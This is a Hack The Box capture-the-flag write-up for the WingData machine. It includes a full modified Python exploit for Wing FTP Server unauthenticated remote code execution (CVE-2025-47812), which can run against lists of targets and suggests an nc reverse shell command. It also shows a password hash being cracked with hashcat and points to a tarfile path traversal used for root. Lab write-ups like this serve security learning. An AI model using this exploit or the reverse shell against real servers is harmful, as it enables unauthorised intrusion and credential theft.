> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-wingdata.md).

# HTB - WingData

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FuuXjndyhLh2nDT1HDYYt%2Fimage.png?alt=media&amp;token=e26f9cc9-6aae-41b7-bb2f-7af01f3971d9" alt=""><figcaption></figcaption></figure>

add the domain to the hosts.

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsqTQR4yzDAc2OruWWd7E%2Fimage.png?alt=media&amp;token=bdb04734-d159-4e82-99dc-5310ce35c692" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWmXWhVddOT1cq9PnWVsW%2Fimage.png?alt=media&amp;token=82c37793-956c-448b-a731-3b68f89b0b2c" alt=""><figcaption></figcaption></figure>

The  contact form is static.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9xp0ukGYtPttNZivcJat%2Fimage.png?alt=media&amp;token=8b57587d-6141-40fc-8308-b144f09d7e05" alt=""><figcaption></figcaption></figure>

clicking on the client portal redirects to a separate subdomain called `ftp.wingdata.htb`

add the domain to the hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FM8AZxLYCeR1uVG0CTwxZ%2Fimage.png?alt=media&amp;token=b67dbbe7-337a-4038-abcb-ae461929ebff" alt=""><figcaption></figcaption></figure>

The `ftp.wingdata.htb` hosts a login page and leaks the version of Wing FTP Server v7.4.3.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8zSB2pGornZoqvVJLrz8%2Fimage.png?alt=media&amp;token=02af5058-4fcf-4045-bd62-6ea27d83d11e" alt=""><figcaption></figcaption></figure>

Wing FTP server is vulnerable to unauthenticated RCE.

### Wing FTP Server Unauthenticated RCE

{% embed url="<https://www.exploit-db.com/exploits/52347>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGRfJumSRjpPg8vzTjmed%2Fimage.png?alt=media&amp;token=1788c45c-339e-4a3c-8d8c-9adedbb8c7cf" alt=""><figcaption></figcaption></figure>

RCE confirmed.

in order to get the shell i will modify the code as using any reverse shell returns in session expired.

```bash
#!/usr/bin/env python3
# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
# CVE: CVE-2025-47812
# Modified to use os.execute and proper URL-encoding for reliable reverse shells.

import requests
import re
import argparse
from urllib.parse import quote

RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"

    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    encoded_username = quote(username)          # already done
    # Escape double quotes for Lua string, then URL-encode the whole command
    safe_command = command.replace('"', '\\"')
    encoded_command = quote(safe_command)       # <<< FIX: encode spaces, &, =, etc.

    # Short payload: os.execute("encoded_command") – the server decodes it back
    payload = (
        f"username={encoded_username}%00]]%0dos.execute(\"{encoded_command}\")%0d--&password="
    )

    if verbose:
        print_green(f"[+] Sending POST request to {login_url} with command: '{command}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending POST request: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] UID not found. Check your command for special characters (use & only at end, etc.)")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] UID extracted: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending GET request: {e}")
        return False

    # With os.execute we don't get output – we just check if we got a valid session
    if "session expired" not in dir_response.text:
        return True
    else:
        # The command might still have executed, but we got UID earlier
        return True

def main():
    parser = argparse.ArgumentParser(description="Wing FTP RCE (os.execute version with URL‑encoding)")
    parser.add_argument("-u", "--url", required=False, help="Target URL (e.g., http://target/)")
    parser.add_argument("-f", "--file", help="File containing list of targets")
    parser.add_argument("-c", "--command", default="whoami", help="Command to execute (e.g., 'nc -e /bin/sh IP PORT &')")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("-o", "--output", help="File to save vulnerable URLs")
    parser.add_argument("-U", "--username", default="anonymous", help="Username (default: anonymous)")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either -u or -f is required.")

    targets = []
    if args.file:
        with open(args.file) as f:
            targets = [line.strip() for line in f if line.strip()]
    else:
        targets = [args.url]

    vulnerable = []
    for target in targets:
        print(f"\n[*] Testing: {target}")
        ok = run_exploit(target, args.command, username=args.username, verbose=args.verbose)
        if ok:
            print_green(f"[+] Command sent successfully to {target}")
            vulnerable.append(target)
        else:
            print_red(f"[-] Failed on {target}")

    if args.output and vulnerable:
        with open(args.output, 'w') as out:
            out.write("\n".join(vulnerable) + "\n")
        print_green(f"[+] Saved to {args.output}")

if __name__ == "__main__":
    main()

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfWM2hxvacX8UsX0XItXS%2Fimage.png?alt=media&amp;token=4b5872ac-4651-40d9-8abf-c667da9918bb" alt=""><figcaption></figcaption></figure>

## Shell as Wingftp

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1G3ygfz8kEkTNkzCJ81O%2Fimage.png?alt=media&amp;token=6edaf873-ecb7-41da-bf1d-189ec3f23d3c" alt=""><figcaption></figcaption></figure>

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
wingftp@wingdata:/opt/wftpserver$ export TERM=xterm
export TERM=xterm
wingftp@wingdata:/opt/wftpserver$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSk5wLhbMkWGwaq7AsKD1%2Fimage.png?alt=media&amp;token=8b3133f2-1643-4f4c-aed9-bdc09b54ac9e" alt=""><figcaption></figcaption></figure>

we need to get to wacky to read user flag.

Sometimes Wing FTP stores users in an XML file like `users.xml` or `ftpusers`&#x20;

```bash
wingftp@wingdata:/opt/wftpserver$ grep -r -grep -r -i -E "user(name)?|pass(word)?" /opt/wftpserver --include="*.xml" 2>/dev/null
/opt/wftpserver/Data/1/users/steve.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/steve.xml:    </USER>
/opt/wftpserver/Data/1/users/steve.xml:</USER_ACCOUNTS>
/opt/wftpserver/Data/1/users/wacky.xml:<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
/opt/wftpserver/Data/1/users/wacky.xml:    <USER>
/opt/wftpserver/Data/1/users/wacky.xml:        <UserName>wacky</UserName>
/opt/wftpserver/Data/1/users/wacky.xml:        <EnablePassword>1</EnablePassword>
/opt/wftpserver/Data/1/users/wacky.xml:        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
/opt/wftpserver/Data/1/users/wacky.xml:        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
/opt/wftpserver/Data/1/users/wacky.xml:        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
/opt/wftpserver/Data/1/users/wacky.xml:        <PasswordLength>0</PasswordLength>
/opt/wftpserver/Data/1/users/wacky.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/wacky.xml:    </USER>
/opt/wftpserver/Data/1/users/wacky.xml:</USER_ACCOUNTS>
```

greping the directory for username and password reveals the password of wacky.

**Wing FTP Server** uses SHA-256 with the **default salt `WingFTP`** in `sha256($pass.$salt)`

```bash
──(ajay㉿kali)-[~]
└─$ echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > wacky.hash
```

```
┌──(ajay㉿kali)-[~]
└─$ hashcat -m 1410 wacky.hash /usr/share/wordlists/rockyou.txt                                 
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11320H @ 3.20GHz, 1803/3607 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
```

`wacky : !#7Blushing^*Bride5`

## Shell as Wacky

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtOrqAgBg1mMImvyF5Aap%2Fimage.png?alt=media&amp;token=43d9d5f0-87a4-4ce9-a7b2-b8ce1ec802df" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FC4Pr8112PhDsPbaecU7h%2Fimage.png?alt=media&amp;token=1cf2a4d0-e287-445f-84ad-20ace1d5b1cc" alt=""><figcaption></figcaption></figure>

```bash
wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()
wacky@wingdata:~$ 

```

script accepts a `.tar` file from `/opt/backup_clients/backups/` and extracts it using `tarfile.open().extractall()` with `filter="data"`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZN4AaKFoiNwPa49X7Mb5%2Fimage.png?alt=media&amp;token=005fea16-5a34-4deb-bf3a-82ae49210f2e" alt=""><figcaption></figcaption></figure>

tarfile module is something i have seen newly. looking for cve revealed a path traversal vulnerability

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxRpWG1EN7BcBQbFQsiMv%2Fimage.png?alt=media&amp;token=2d25b2aa-95ba-4283-a1be-7c37bb0f98ac" alt=""><figcaption></figcaption></figure>

### Tarfile - CVE-2025-4517

{% embed url="<https://github.com/AzureADTrent/CVE-2025-4517-POC>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7EUOIfl46KeQKUQOQLOM%2Fimage.png?alt=media&amp;token=5bed8e41-d178-460b-a985-384df467a95d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FR2Gkh8avj4yApfH1BErS%2Fimage.png?alt=media&amp;token=af76e8eb-e95e-4475-acc3-1267fe63813d" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVaLMqIzGIf7SqLLrathY%2Fimage.png?alt=media&amp;token=d8f877ed-04a7-4ada-a854-a64c53f088db" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-wingdata.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
